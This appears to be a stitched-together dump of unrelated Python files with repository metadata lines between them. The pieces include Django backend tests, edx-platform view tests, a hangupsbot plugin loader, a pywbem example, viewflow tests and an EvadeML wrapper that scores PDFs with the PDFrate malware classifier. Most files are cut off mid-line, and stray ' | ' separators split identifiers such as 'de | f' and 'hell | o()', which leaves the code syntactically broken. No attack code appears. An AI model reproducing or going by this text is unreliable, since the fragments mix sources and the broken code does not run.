class DummyBackendTest(TestCase):
def test_no_databases(self):
"""
Test that empty DATABASES setting default to the dummy backend.
"""
DATABASES = {}
conns = ConnectionHandler(DATABASES)
self.assertEqual(conns[DEFAULT_DB_ALIAS].settings_dict['ENGINE'],
'django.db.backends.dummy')
with self.assertRaises(ImproperlyConfigured):
conns[DEFAULT_DB_ALIAS].ensure_connection()
@unittest.skipUnless(connection.vendor == 'oracle', "Test only for Oracle")
class OracleTests(unittest.TestCase):
def test_quote_name(self):
# Check that '%' chars are escaped for query execution.
name = '"SOME%NAME"'
quoted_name = connection.ops.quote_name(name)
self.assertEqual(quoted_name % (), name)
def test_dbms_session(self):
# If the backend is Oracle, test that we can call a standard
# stored procedure through our cursor wrapper.
from django.db.backends.oracle.base import convert_unicode
with connection.cursor() as cursor:
cursor.callproc(convert_unicode('DBMS_SESSION.SET_IDENTIFIER'),
[convert_unicode('_django_testing!')])
def test_cursor_var(self):
# If the backend is Oracle, test that we can pass cursor variables
# as query parameters.
from django.db.backends.oracle.base import Database
with connection.cursor() as cursor:
var = cursor.var(Database.STRING)
cursor.execute("BEGIN %s := 'X'; END; ", [var])
self.assertEqual(var.getvalue(), 'X')
def test_long_string(self):
# If the backend is Oracle, test that we can save a text longer
# than 4000 chars and read it properly
with connection.cursor() as cursor:
cursor.execute('CREATE TABLE ltext ("TEXT" NCLOB)')
long_str = ''.join(six.text_type(x) for x in range(4000))
cursor.execute('INSERT INTO ltext VALUES (%s)', [long_str])
cursor.execute('SELECT text FROM ltext')
row = cursor.fetchone()
self.assertEqual(long_str, row[0].read())
cursor.execute('DROP TABLE ltext')
def test_client_encoding(self):
# If the backend is Oracle, test that the client encoding is set
# correctly. This was broken under Cygwin prior to r14781.
connection.ensure_connection()
self.assertEqual(connection.connection.encoding, "UTF-8")
self.assertEqual(connection.connection.nencoding, "UTF-8")
def test_order_of_nls_parameters(self):
# an 'almost right' datetime should work with configured
# NLS parameters as per #18465.
with connection.cursor() as cursor:
query = "select 1 from dual where '1936-12-29 00:00' < sysdate"
# Test that the query succeeds without errors - pre #18465 this
# wasn't the case.
cursor.execute(query)
self.assertEqual(cursor.fetchone()[0], 1)
@unittest.skipUnless(connection.vendor == 'sqlite', "Test only for SQLite")
class SQLiteTests(TestCase):
longMessage = True
def test_autoincrement(self):
"""
Check that auto_increment fields are created with the AUTOINCREMENT
keyword in order to be monotonically increasing. Refs #10164.
"""
with connection.schema_editor(collect_sql=True) as editor:
editor.create_model(models.Square)
statements = editor.collected_sql
match = re.search('"id" ([^,]+),', statements[0])
self.assertIsNotNone(match)
self.assertEqual('integer NOT NULL PRIMARY KEY AUTOINCREMENT',
match.group(1), "Wrong SQL used to create an auto-increment "
"column on SQLite")
def test_aggregation(self):
"""
#19360: Raise NotImplementedError when aggregating on date/time fields.
"""
for aggregate in (Sum, Avg, Variance, StdDev):
self.assertRaises(NotImplementedError,
models.Item.objects.all().aggregate, aggregate('time'))
self.assertRaises(NotImplementedError,
models.Item.objects.all().aggregate, aggregate('date'))
self.assertRaises(NotImplementedError,
models.Item.objects.all().aggregate, aggregate('last_modified'))
@unittest.skipUnless(connection.vendor == 'postgresql', "Test only for PostgreSQL")
class PostgreSQLTests(TestCase):
def assert_parses(self, version_string, version):
self.assertEqual(pg_version._parse_version(version_string), version)
def test_parsing(self):
"""Test PostgreSQL version parsing from `SELECT version()` output"""
self.assert_parses("PostgreSQL 9.3 beta4", 90300)
self.assert_parses("PostgreSQL 9.3", 90300)
self.assert_parses("EnterpriseDB 9.3", 90300)
self.assert_parses("PostgreSQL 9.3.6", 90306)
self.assert_parses("PostgreSQL 9.4beta1", 90400)
self.assert_parses("PostgreSQL 9.3.1 on i386-apple-darwin9.2.2, compiled by GCC i686-apple-darwin9-gcc-4.0.1 (GCC) 4.0.1 (Apple Inc. build 5478)", 90301)
def test_version_detection(self):
"""Test PostgreSQL version detection"""
# Helper mocks
class CursorMock(object):
"Very simple mock of DB-API cursor"
def execute(self, arg):
pass
def fetchone(self):
return ["PostgreSQL 9.3"]
def __enter__(self):
return self
def __exit__(self, type, value, traceback):
pass
class OlderConnectionMock(object):
"Mock of psycopg2 (< 2.0.12) connection"
def cursor(self):
return CursorMock()
# psycopg2 < 2.0.12 code path
conn = OlderConnectionMock()
self.assertEqual(pg_version.get_version(conn), 90300)
def test_connect_and_rollback(self):
"""
PostgreSQL shouldn't roll back SET TIME ZONE, even if the first
transaction | is rolle | d back (#17062).
"""
databases = copy.deepcopy(settings.DATABASES)
new_connections = ConnectionHandler(databases)
new_connection = new_connections[DEFAULT_DB_ALIAS]
try:
# Ensure the database default time zone is different than
# the time zone in new_connection.settings_dict. We can
# get the default time zone by reset & show.
cursor = new_connection.cursor()
cursor.execute("RESET TIMEZONE")
cursor.execute("SHOW TIMEZONE")
db_default_tz = cursor.fetchone()[0]
new_tz = 'Europe/Paris' if db_default_tz == 'UTC' else 'UTC'
new_connection.close()
# Fetch a new connection with the new_tz as default
# time zone, run a query and rollback.
new_connection.settings_dict['TIME_ZONE |
jbzdak/edx-platform | lms/djangoapps/courseware/tests/test_views.py | Python | agpl-3.0 | 50,037 | 0.00284 | # coding=UTF-8
"""
Tests courseware views.py
"""
import cgi
from urllib import urlencode
import ddt
import json
import itertools
import unittest
from datetime import datetime
from HTMLParser import HTMLParser
from nose.plugins.attrib import attr
from django.conf import settings
from django.contrib.auth.models import AnonymousUser
from django.core.urlresolvers import reverse
from django.http import Http404, HttpResponseBadRequest
from django.test import TestCase
from django.test.client import RequestFactory
from django.test.utils import override_settings
from mock import MagicMock, patch, create_autospec, Mock
from opaque_keys.edx.locations import Location, SlashSeparatedCourseKey
from pytz import UTC
from xblock.core import XBlock
from xblock.fields import String, Scope
from xblock.fragment import Fragment
import courseware.views as views
import shoppingcart
from certificates import api as certs_api
from certificates.models import CertificateStatuses, CertificateGenerationConfiguration
from certificates.tests.factories import GeneratedCertificateFactory
from course_modes.models import CourseMode
from courseware.model_data import set_score
from courseware.testutils import RenderXBlockTestMixin
from courseware.tests.factories import StudentModuleFactory
from courseware.user_state_client import DjangoXBlockUserStateClient
from edxmako.tests import mako_middleware_process_request
from openedx.core.djangoapps.self_paced.models import SelfPacedConfiguration
from student.models import CourseEnrollment
from student.tests.factories import AdminFactory, UserFactory, CourseEnrollmentFactory
from util.tests.test_date_utils import fake_ugettext, fake_pgettext
from util.url import reload_django_url_config
from util.views import ensure_valid_course_key
from xmodule.modulestore import ModuleStoreEnum
from xmodule.modulestore.django import modulestore
from xmodule.modulestore.tests.django_utils import TEST_DATA_MIXED_TOY_MODULESTORE
from xmodule.modulestore.tests.django_utils import ModuleStoreTestC | ase
from xmodule.modulestore.tests.factories import CourseFactory, ItemFactory, check_mongo_calls
@attr('shard_1')
class TestJumpTo(ModuleStoreTestCase):
"""
Check the jumpto link for a course.
"""
MODULESTORE = | TEST_DATA_MIXED_TOY_MODULESTORE
def setUp(self):
super(TestJumpTo, self).setUp()
# Use toy course from XML
self.course_key = SlashSeparatedCourseKey('edX', 'toy', '2012_Fall')
def test_jumpto_invalid_location(self):
location = self.course_key.make_usage_key(None, 'NoSuchPlace')
# This is fragile, but unfortunately the problem is that within the LMS we
# can't use the reverse calls from the CMS
jumpto_url = '{0}/{1}/jump_to/{2}'.format('/courses', self.course_key.to_deprecated_string(), location.to_deprecated_string())
response = self.client.get(jumpto_url)
self.assertEqual(response.status_code, 404)
@unittest.skip
def test_jumpto_from_chapter(self):
location = self.course_key.make_usage_key('chapter', 'Overview')
jumpto_url = '{0}/{1}/jump_to/{2}'.format('/courses', self.course_key.to_deprecated_string(), location.to_deprecated_string())
expected = 'courses/edX/toy/2012_Fall/courseware/Overview/'
response = self.client.get(jumpto_url)
self.assertRedirects(response, expected, status_code=302, target_status_code=302)
@unittest.skip
def test_jumpto_id(self):
jumpto_url = '{0}/{1}/jump_to_id/{2}'.format('/courses', self.course_key.to_deprecated_string(), 'Overview')
expected = 'courses/edX/toy/2012_Fall/courseware/Overview/'
response = self.client.get(jumpto_url)
self.assertRedirects(response, expected, status_code=302, target_status_code=302)
def test_jumpto_from_section(self):
course = CourseFactory.create()
chapter = ItemFactory.create(category='chapter', parent_location=course.location)
section = ItemFactory.create(category='sequential', parent_location=chapter.location)
expected = 'courses/{course_id}/courseware/{chapter_id}/{section_id}/?{activate_block_id}'.format(
course_id=unicode(course.id),
chapter_id=chapter.url_name,
section_id=section.url_name,
activate_block_id=urlencode({'activate_block_id': unicode(section.location)})
)
jumpto_url = '{0}/{1}/jump_to/{2}'.format(
'/courses',
unicode(course.id),
unicode(section.location),
)
response = self.client.get(jumpto_url)
self.assertRedirects(response, expected, status_code=302, target_status_code=302)
def test_jumpto_from_module(self):
course = CourseFactory.create()
chapter = ItemFactory.create(category='chapter', parent_location=course.location)
section = ItemFactory.create(category='sequential', parent_location=chapter.location)
vertical1 = ItemFactory.create(category='vertical', parent_location=section.location)
vertical2 = ItemFactory.create(category='vertical', parent_location=section.location)
module1 = ItemFactory.create(category='html', parent_location=vertical1.location)
module2 = ItemFactory.create(category='html', parent_location=vertical2.location)
expected = 'courses/{course_id}/courseware/{chapter_id}/{section_id}/1?{activate_block_id}'.format(
course_id=unicode(course.id),
chapter_id=chapter.url_name,
section_id=section.url_name,
activate_block_id=urlencode({'activate_block_id': unicode(module1.location)})
)
jumpto_url = '{0}/{1}/jump_to/{2}'.format(
'/courses',
unicode(course.id),
unicode(module1.location),
)
response = self.client.get(jumpto_url)
self.assertRedirects(response, expected, status_code=302, target_status_code=302)
expected = 'courses/{course_id}/courseware/{chapter_id}/{section_id}/2?{activate_block_id}'.format(
course_id=unicode(course.id),
chapter_id=chapter.url_name,
section_id=section.url_name,
activate_block_id=urlencode({'activate_block_id': unicode(module2.location)})
)
jumpto_url = '{0}/{1}/jump_to/{2}'.format(
'/courses',
unicode(course.id),
unicode(module2.location),
)
response = self.client.get(jumpto_url)
self.assertRedirects(response, expected, status_code=302, target_status_code=302)
def test_jumpto_from_nested_module(self):
course = CourseFactory.create()
chapter = ItemFactory.create(category='chapter', parent_location=course.location)
section = ItemFactory.create(category='sequential', parent_location=chapter.location)
vertical = ItemFactory.create(category='vertical', parent_location=section.location)
nested_section = ItemFactory.create(category='sequential', parent_location=vertical.location)
nested_vertical1 = ItemFactory.create(category='vertical', parent_location=nested_section.location)
# put a module into nested_vertical1 for completeness
ItemFactory.create(category='html', parent_location=nested_vertical1.location)
nested_vertical2 = ItemFactory.create(category='vertical', parent_location=nested_section.location)
module2 = ItemFactory.create(category='html', parent_location=nested_vertical2.location)
# internal position of module2 will be 1_2 (2nd item withing 1st item)
expected = 'courses/{course_id}/courseware/{chapter_id}/{section_id}/1?{activate_block_id}'.format(
course_id=unicode(course.id),
chapter_id=chapter.url_name,
section_id=section.url_name,
activate_block_id=urlencode({'activate_block_id': unicode(module2.location)})
)
jumpto_url = '{0}/{1}/jump_to/{2}'.format(
'/courses',
unicode(course.id),
unicode(module2.location),
)
response = self.client.get(jumpto_url)
self.assertRedirects(response, expected, status_code=302, target_status_ |
intel-analytics/BigDL | python/ppml/src/bigdl/ppml/algorithms/hfl_nn.py | Python | apache-2.0 | 1,511 | 0 | #
# Copyright 2016 The BigDL Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
from bigdl.dllib.utils.common import JavaValue
class HflNN(JavaValue):
"""
HFL NN class, users could build custom NN structure in this class
"""
def __init__(self, jvalue, *args):
bigdl_type = "float"
super(JavaValue, self).__init__(jvalue, bigdl_type, *args)
de | f fit(self, x, y, epochs):
"""
:param x: data, could be Numpy NdArray or Pandas DataFrame
:param y: label, could be Numpy NdArray or Pandas DataFrame
:param epochs: training epochs
:return:
"""
pass
def evaluate(self, x, y):
"""
:param x: data, could b | e Numpy NdArray or Pandas DataFrame
:param y: label, could be Numpy NdArray or Pandas DataFrame
:return:
"""
pass
def predict(self, x):
"""
:param x: data, could be Numpy NdArray or Pandas DataFrame
:return:
"""
pass
|
dewtx29/python_ann | python/ann/pso_recurrent/recurrent_pso.py | Python | gpl-3.0 | 475 | 0.018947 | from pso import *
from recurrent import *
class Recurrent (recurrent):
def hell | o() | :
print "hello"
class Pso(ParticleSwarmOptimizer):
dimension = 304
swarmSize = 10
#def __init__(self):
# super(Pso, self).__init__()
def f(self, solution):
# 304
re = Recurrent()
fitness = re.rnn(solution)
return fitness
def main():
pso = Pso()
pso.optimize()
if __name__ =='__main__':
main()
|
ravrahn/HangoutsBot | hangupsbot/plugins/__init__.py | Python | gpl-3.0 | 11,524 | 0.004339 | import os
import sys
import logging
import inspect
from inspect import getmembers, isfunction
from commands import command
import handlers
logger = logging.getLogger(__name__)
class tracker:
def __init__(self):
self.bot = None
self.list = []
self.reset()
def set_bot(self, bot):
self.bot = bot
def reset(self):
self._current = {
"command | s": {
"admin": [],
"user": [],
"all": None
},
"handlers": [],
"shared": [],
"metadata": None
}
def start(self, metadata):
self.reset()
self._current["metadata"] = metadata
def current(self):
| self._current["commands"]["all"] = list(
set(self._current["commands"]["admin"] +
self._current["commands"]["user"]))
return self._current
def end(self):
self.list.append(self.current())
def register_command(self, type, command_names):
"""call during plugin init to register commands"""
self._current["commands"][type].extend(command_names)
self._current["commands"][type] = list(set(self._current["commands"][type]))
def register_handler(self, function, type, priority):
self._current["handlers"].append((function, type, priority))
def register_shared(self, id, objectref, forgiving):
self._current["shared"].append((id, objectref, forgiving))
tracking = tracker()
"""helpers"""
def register_user_command(command_names):
"""user command registration"""
if not isinstance(command_names, list):
command_names = [command_names]
tracking.register_command("user", command_names)
def register_admin_command(command_names):
"""admin command registration, overrides user command registration"""
if not isinstance(command_names, list):
command_names = [command_names]
tracking.register_command("admin", command_names)
def register_handler(function, type="message", priority=50):
"""register external handler"""
bot_handlers = tracking.bot._handlers
bot_handlers.register_handler(function, type, priority)
def register_shared(id, objectref, forgiving=True):
"""register shared object"""
bot = tracking.bot
bot.register_shared(id, objectref, forgiving=forgiving)
"""plugin loader"""
def retrieve_all_plugins(plugin_path=None, must_start_with=False):
"""recursively loads all plugins from the standard plugins path
* a plugin file or folder must not begin with . or _
* a subfolder containing a plugin must have an __init__.py file
* sub-plugin files (additional plugins inside a subfolder) must be prefixed with the
plugin/folder name for it to be automatically loaded
"""
if not plugin_path:
plugin_path = os.path.dirname(os.path.realpath(sys.argv[0])) + os.sep + "plugins"
plugin_list = []
nodes = os.listdir(plugin_path)
for node_name in nodes:
full_path = os.path.join(plugin_path, node_name)
module_names = [ os.path.splitext(node_name)[0] ] # node_name without .py extension
if node_name.startswith(("_", ".")):
continue
if must_start_with and not node_name.startswith(must_start_with):
continue
if os.path.isfile(full_path):
if not node_name.endswith(".py"):
continue
else:
if not os.path.isfile(os.path.join(full_path, "__init__.py")):
continue
for sm in retrieve_all_plugins(full_path, must_start_with=node_name):
module_names.append(module_names[0] + "." + sm)
plugin_list.extend(module_names)
logger.debug("retrieved {}: {}.{}".format(len(plugin_list), must_start_with or "plugins", plugin_list))
return plugin_list
def get_configured_plugins(bot):
all_plugins = retrieve_all_plugins()
config_plugins = bot.get_config_option('plugins')
if config_plugins is None: # must be unset in config or null
logger.info("plugins is not defined, using ALL")
plugin_list = all_plugins
else:
"""perform fuzzy matching with actual retrieved plugins, e.g. "abc" matches "xyz.abc"
if more than one match found, don't load plugin
"""
plugins_included = []
plugins_excluded = all_plugins
plugin_name_ambiguous = []
plugin_name_not_found = []
for configured in config_plugins:
dotconfigured = "." + configured
matches = []
for found in plugins_excluded:
fullfound = "plugins." + found
if fullfound.endswith(dotconfigured):
matches.append(found)
num_matches = len(matches)
if num_matches <= 0:
logger.debug("{} no match".format(configured))
plugin_name_not_found.append(configured)
elif num_matches == 1:
logger.debug("{} matched to {}".format(configured, matches[0]))
plugins_included.append(matches[0])
plugins_excluded.remove(matches[0])
else:
logger.debug("{} ambiguous, matches {}".format(configured, matches))
plugin_name_ambiguous.append(configured)
if plugins_excluded:
logger.info("excluded {}: {}".format(len(plugins_excluded), plugins_excluded))
if plugin_name_ambiguous:
logger.warning("ambiguous plugin names: {}".format(plugin_name_ambiguous))
if plugin_name_not_found:
logger.warning("plugin not found: {}".format(plugin_name_not_found))
plugin_list = plugins_included
logger.info("included {}: {}".format(len(plugin_list), plugin_list))
return plugin_list
def load(bot, command_dispatcher):
"""load plugins and perform any initialisation required to set them up"""
tracking.set_bot(bot)
command_dispatcher.set_tracking(tracking)
plugin_list = get_configured_plugins(bot)
for module in plugin_list:
module_path = "plugins.{}".format(module)
tracking.start({ "module": module, "module.path": module_path })
try:
exec("import {}".format(module_path))
except Exception as e:
logger.exception("EXCEPTION during plugin import: {}".format(module_path))
continue
public_functions = [o for o in getmembers(sys.modules[module_path], isfunction)]
candidate_commands = []
"""pass 1: run optional callable: _initialise, _initialize
* performs house-keeping tasks (e.g. migration, tear-up, pre-init, etc)
* registers user and/or admin commands
"""
available_commands = False # default: ALL
try:
for function_name, the_function in public_functions:
if function_name == "_initialise" or function_name == "_initialize":
"""accepted function signatures:
CURRENT
version >= 2.4 | function()
version >= 2.4 | function(bot) - parameter must be named "bot"
LEGACY
version <= 2.4 | function(handlers, bot)
ancient | function(handlers)
"""
_expected = list(inspect.signature(the_function).parameters)
if len(_expected) == 0:
the_function()
_return = []
elif len(_expected) == 1 and _expected[0] == "bot":
the_function(bot)
_return = []
else:
try:
# legacy support, pre-2.4
_return = the_function(bot._handlers, bot)
except TypeError as e:
# legacy support, ancient plugins
_return = the_function(bot._handlers)
if type(_return) is list:
available_commands = _return
elif fun |
zenoss/pywbem | examples/enumerator_generator.py | Python | lgpl-2.1 | 10,193 | 0.001177 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Example of using Iterator Operations to retrieve instances from a
WBEM Server. This example executes the IterEnumerateInstances and the
corresponding IterEnumeratePaths operations.
It:
Creates a connection
Opens an enumeration session with OpenEnumerateInstances
Executes a pull loop until the result.eos =True
Displays overall statistics on the returns
It also displays the results of the open and each pull in detail
"""
from __future__ import print_function
import sys
import argparse as _argparse
from pywbem import WBEMConnection, CIMError, Error
from pywbem._cliutils import SmartFormatter as _SmartFormatter
def _str_to_bool(str_):
"""Convert string to bool (in argparse context)."""
if str_.lower() not in ['true', 'false', 'none']:
raise ValueError('Need bool; got %r' % str_)
return {'true': True, 'false': False, 'none': None}[str_.lower()]
def add_nullable_boolean_argument(parser, name, default=None, help_=None):
"""Add a boolean argument to an ArgumentParser instance."""
group = parser.add_mutually_exclusive_group()
group.add_argument(
'--' + name, nargs='?', default=default, const=True, type=_str_to_bool,
help=help_)
group.add_argument('--no' + name, dest=name, action='store_false',
help=help_)
def create_parser(prog):
"""
Parse command line arguments, connect to the WBEM server and open the
interactive shell.
"""
usage = '%(prog)s [options] server'
desc = 'Provide an interactive shell for issuing operations against' \
' a WBEM server.'
epilog = """
Examples:
%s https://localhost:15345 -n vendor -u sheldon -p penny
- (https localhost, port=15345, namespace=vendor user=sheldon
password=penny)
%s http://[2001:db8::1234-eth0] -(http port 5988 ipv6, zone id eth0)
""" % (prog, prog)
argparser = _argparse.ArgumentParser(
prog=prog, usage=usage, description=desc, epilog=epilog,
add_help=False, formatter_class=_SmartFormatter)
pos_arggroup = argparser.add_argument_group(
'Positional arguments')
pos_arggroup.add_argument(
'server', metavar='server', nargs='?',
help='R|Host name or url of the WBEM server in this format:\n'
' [{scheme}://]{host}[:{port}]\n'
'- scheme: Defines the protocol to use;\n'
' - "https" for HTTPs protocol\n'
' - "http" for HTTP protocol.\n'
' Default: "https".\n'
'- host: Defines host name as follows:\n'
' - short or fully qualified DNS hostname,\n'
' - literal IPV4 address(dotted)\n'
' - literal IPV6 address (RFC 3986) with zone\n'
' identifier extensions(RFC 6874)\n'
' supporting "-" or %%25 for the delimiter.\n'
'- port: Defines the WBEM server port to be used\n'
' Defaults:\n'
' - HTTP - 5988\n'
' - HTTPS - 5989\n')
server_arggroup = argparser.add_argument_group(
'Server related options',
'Specify the WBEM server namespace and timeout')
server_arggroup.add_argument(
'-n', '--namespace', dest='namespace', metavar='namespace',
default='root/cimv2',
help='R|Default namespace in the WBEM server for operation\n'
'requests when namespace option not supplied with\n'
'operation request.\n'
'Default: %(default)s')
server_arggroup.add_argument(
'-t', '--timeout', dest='timeout', metavar='timeout', type=int,
default=None,
help='R|Timeout of the completion of WBEM Server operation\n'
'in seconds(integer between 0 and 300).\n'
'Default: No timeout')
server_arggroup.add_argument(
'-c', '--classname', dest='classname', metavar='classname',
default='CIM_ManagedElement',
help='R|Classname in the WBEM server for operation\n'
'request.\n'
'Default: %(default)s')
security_arggroup = argparser.add_argument_group(
'Connection security related options',
'Specify user name and password or certificates and keys')
security_arggroup.add_argument(
'-u', '--user', dest='user', metavar='user',
help='R|User name for authenticating with the WBEM server.\n'
'Default: No user name.')
securi | ty_arggroup.add_argument(
'-p', '--password', dest='password', metavar='password',
help='R|Passwor | d for authenticating with the WBEM server.\n'
'Default: Will be prompted for, if user name\nspecified.')
security_arggroup.add_argument(
'-nvc', '--no-verify-cert', dest='no_verify_cert',
action='store_true',
help='Client will not verify certificate returned by the WBEM'
' server (see cacerts). This bypasses the client-side'
' verification of the server identity, but allows'
' encrypted communication with a server for which the'
' client does not have certificates.')
security_arggroup.add_argument(
'--cacerts', dest='ca_certs', metavar='cacerts',
help='R|File or directory containing certificates that will be\n'
'matched against a certificate received from the WBEM\n'
'server. Set the --no-verify-cert option to bypass\n'
'client verification of the WBEM server certificate.\n')
security_arggroup.add_argument(
'--certfile', dest='cert_file', metavar='certfile',
help='R|Client certificate file for authenticating with the\n'
'WBEM server. If option specified the client attempts\n'
'to execute mutual authentication.\n'
'Default: Simple authentication.')
security_arggroup.add_argument(
'--keyfile', dest='key_file', metavar='keyfile',
help='R|Client private key file for authenticating with the\n'
'WBEM server. Not required if private key is part of the\n'
'certfile option. Not allowed if no certfile option.\n'
'Default: No client key file. Client private key should\n'
'then be part of the certfile')
general_arggroup = argparser.add_argument_group(
'General options')
general_arggroup.add_argument(
'-v', '--verbose', dest='verbose',
action='store_true', default=False,
help='Print more messages while processing')
general_arggroup.add_argument(
'-m', '--MaxObjectCount', dest='max_object_count',
metavar='MaxObjectCount', default=100,
help='R|Maximum object count in pull responses.\n'
'Default: 100.')
add_nullable_boolean_argument(
general_arggroup, 'usepull',
help_='Use Pull Operations. If --usepull, pull will be used. If'
' --nousepull will execute Enumerate operation. Default is'
' `None` where the system decides.')
general_arggroup.add_argument(
'-h', '--help', action='help',
help='Show this help message and exit')
return argparser
def parse_cmdline(argparser_):
""" Parse the command line. This tests for any required args"""
opts = argparser_.parse_args()
if not opts.server:
argparser_.error('No WBEM server specified')
return None
return opts
def main():
"""
Get arguments and call the execution function
"""
prog = sys.argv[0]
arg_parser = create_parser(prog)
opts = parse_cmdline(arg_parser)
print('Parameters: server=%s\n username=%s\n namespace=%s\n'
' classname=%s\n max_pull_size=%s\n use_pull=%s' %
(opts.server, opts.user, opts.namespace, opts.classname,
opts.max_object_count, opts.usepull))
# call method to connect to the server
conn = WBEMConnection(opts.server, (opts.user, opts.password),
default_namespace=opts.namespace,
no_verification=True,
u |
Candihub/pixel | apps/submission/tests/test_flows.py | Python | bsd-3-clause | 2,965 | 0 | from unittest import mock
from django.test import TestCase
from viewflow import lock, signals a | s vf_signals
from viewflow.activation import ST | ATUS
from viewflow.base import this
from ..flows import AsyncActivationHandler, AsyncHandler
class ProcessStub(object):
_default_manager = mock.Mock()
def __init__(self, flow_class=None):
self.flow_class = flow_class
class TaskStub(object):
_default_manager = mock.Mock()
def __init__(self, flow_task=None):
self.flow_task = flow_task
self.process_id = 1
self.pk = 1
self.status = STATUS.NEW
self.started = None
@property
def leading(self):
from viewflow.models import Task
return Task.objects.none()
def save(self):
self.pk = 1
return
class FlowStub(object):
process_class = ProcessStub
task_class = TaskStub
lock_impl = lock.no_lock
instance = None
class AsyncFlow(FlowStub):
handler_task = AsyncHandler(this.task_handler)
method_called = False
def task_handler(self, activation):
AsyncFlow.method_called = True
class AsyncActivationHandlerTestCase(TestCase):
def init_node(self, node, flow_class=None, name='test_node'):
node.flow_class = flow_class or FlowStub
node.name = name
node.ready()
return node
def setUp(self):
ProcessStub._default_manager.get.return_value = ProcessStub()
TaskStub._default_manager.get.return_value = TaskStub()
FlowStub.instance = FlowStub()
def test_perform(self):
AsyncFlow.instance = AsyncFlow()
flow_task = self.init_node(
AsyncFlow.handler_task,
flow_class=AsyncFlow,
name='task'
)
# Prepare signal receiver
self.task_started_signal_called = False
def handler(sender, **kwargs):
self.task_started_signal_called = True
vf_signals.task_started.connect(handler)
act = AsyncActivationHandler()
act.initialize(flow_task, TaskStub())
# execute
act.perform()
self.assertEqual(act.task.status, STATUS.NEW)
self.assertTrue(AsyncFlow.method_called)
self.assertTrue(self.task_started_signal_called)
def test_callback(self):
AsyncFlow.instance = AsyncFlow()
flow_task = self.init_node(
AsyncFlow.handler_task,
flow_class=AsyncFlow,
name='task'
)
# Prepare signal receiver
self.task_finished_signal_called = False
def handler(sender, **kwargs):
self.task_finished_signal_called = True
vf_signals.task_finished.connect(handler)
act = AsyncActivationHandler()
act.initialize(flow_task, TaskStub())
# execute
act.perform()
act.callback()
self.assertEqual(act.task.status, STATUS.DONE)
self.assertTrue(self.task_finished_signal_called)
|
uvasrg/EvadeML | classifiers/pdfrate_wrapper.py | Python | mit | 5,330 | 0.006004 | import sys, os
_current_dir = os.path.abspath(os.path.dirname(__file__))
PROJECT_ROOT = os.path.normpath(os.path.join(_current_dir, ".."))
sys.path.append(PROJECT_ROOT)
from lib.config import config
mimicus_dir = config.get('pdfrate', 'mimicus_dir')
import_path = os.path.join(mimicus_dir, 'reproduction')
sys.path.append(import_path)
from common import *
from common import _scenarios
from mimicus.tools.featureedit import _pdfrate_feature_names as feats
import numpy as np
def _pdfrate_wrapper(ntuple):
'''
A helper function to parallelize calls to gdkde().
'''
try:
return pdfrate_once(*ntuple)
except Exception as e:
return e
def pdfrate_once(classifier, scaler, file_path):
pdf_feats = FeatureEdit(file_path)
pdf_feats = pdf_feats.retrieve_feature_vector_numpy()
if scaler:
scaler.transform(pdf_feats)
pdf_score = classifier.decision_function(pdf_feats)[0, 0]
return pdf_score
def _pdfrate_feat_wrapper(ntuple):
'''
A helper function to parallelize calls to gdkde().
'''
try:
return pdfrate_feature_once(*ntuple)
except Exception as e:
return e
def pdfrate_feature_once(classifier, scaler, file_path):
pdf_feats = FeatureEdit(file_path)
pdf_feats = pdf_feats.retrieve_feature_vector_numpy()
if scaler:
scaler.transform(pdf_feats)
return pdf_feats
def get_classifier():
scenario_name = "FTC"
scenario = _scenarios[scenario_name]
# Set up classifier
classifier = 0
if scenario['classifier'] == 'rf':
classifier = RandomForest()
print 'Using RANDOM FOREST'
elif scenario['classifier'] == 'svm':
classifier = sklearn_SVC()
print 'Using SVM'
print 'Loading model from "{}"'.format(scenario['model'])
classifier.load_model(scenario['model'])
return classifier
def get_classifier_scaler(scenario_name = "FTC"):
scenario = _scenarios[scenario_name]
# Set up classifier
classifier = 0
if scenario['classifier'] == 'rf':
classifier = RandomForest()
print 'Using RANDOM FOREST'
elif scenario['classifier'] == 'svm':
classifier = sklearn_SVC()
print 'Using SVM'
print 'Loading model from "{}"'.format(scenario['model'])
classifier.load_model(scenario['model'])
# Standardize data points if necessary
scaler = None
if 'scaled' in scenario['model']:
scaler = pickle.load(open(config.get('datasets', 'contagio_scaler')))
print 'Using s | caler'
return classifier, scaler
pdfrate_classifier, pdfrate_scaler = get_cla | ssifier_scaler()
pool = multiprocessing.Pool()
def pdfrate_feature(pdf_file_paths, speed_up = True):
classifier = pdfrate_classifier
scaler = pdfrate_scaler
if not isinstance(pdf_file_paths, list):
pdf_file_paths = [pdf_file_paths]
if speed_up == True:
# The Pool has to be moved outside the function. Otherwise, every call of this function will result a new Pool. The processes in old Pool would not terminate.
args = [(classifier, scaler, file_path) for file_path in pdf_file_paths]
feats = pool.map(_pdfrate_feat_wrapper, args)
else:
feats = []
for pdf_file_path in pdf_file_paths:
pdf_feats = pdfrate_feature_once(classifier, scaler, pdf_file_path)
feats.append(pdf_feats)
all_feat_np = None
for feat_np in feats:
if all_feat_np == None:
all_feat_np = feat_np
else:
all_feat_np = np.append(all_feat_np, feat_np, axis=0)
return all_feat_np
# speed_up is for feature extraction in parallel.
def pdfrate_with_feature(all_feat_np, speed_up = True):
classifier = pdfrate_classifier
scores = classifier.decision_function(all_feat_np)
scores = [s[0] for s in scores]
return scores
# speed_up is for feature extraction in parallel.
def pdfrate(pdf_file_paths, speed_up = True):
if type(pdf_file_paths) != list:
pdf_file_paths = [pdf_file_paths]
classifier = pdfrate_classifier
all_feat_np = pdfrate_feature(pdf_file_paths, speed_up)
scores = classifier.decision_function(all_feat_np)
scores = [float(s[0]) for s in scores]
return scores
def compare_feats(x1, x2):
decreased = []
increased = []
same = []
for i in range(len(x1)):
if x2[i] > x1[i]:
increased.append(i)
elif x2[i] < x1[i]:
decreased.append(i)
else:
same.append(i)
return decreased, increased, same
if __name__ == "__main__":
if sys.argv[1] == 'feature':
print pdfrate_feature(sys.argv[2])
elif sys.argv[1] == 'compare':
file1, file2 = sys.argv[2], sys.argv[3]
X = pdfrate_feature([file1, file2])
score1, score2 = pdfrate_with_feature(X)
print "Scores: ", score1, score2
deleted, added, fixed = compare_feats(X[0], X[1])
if len(deleted) > 0:
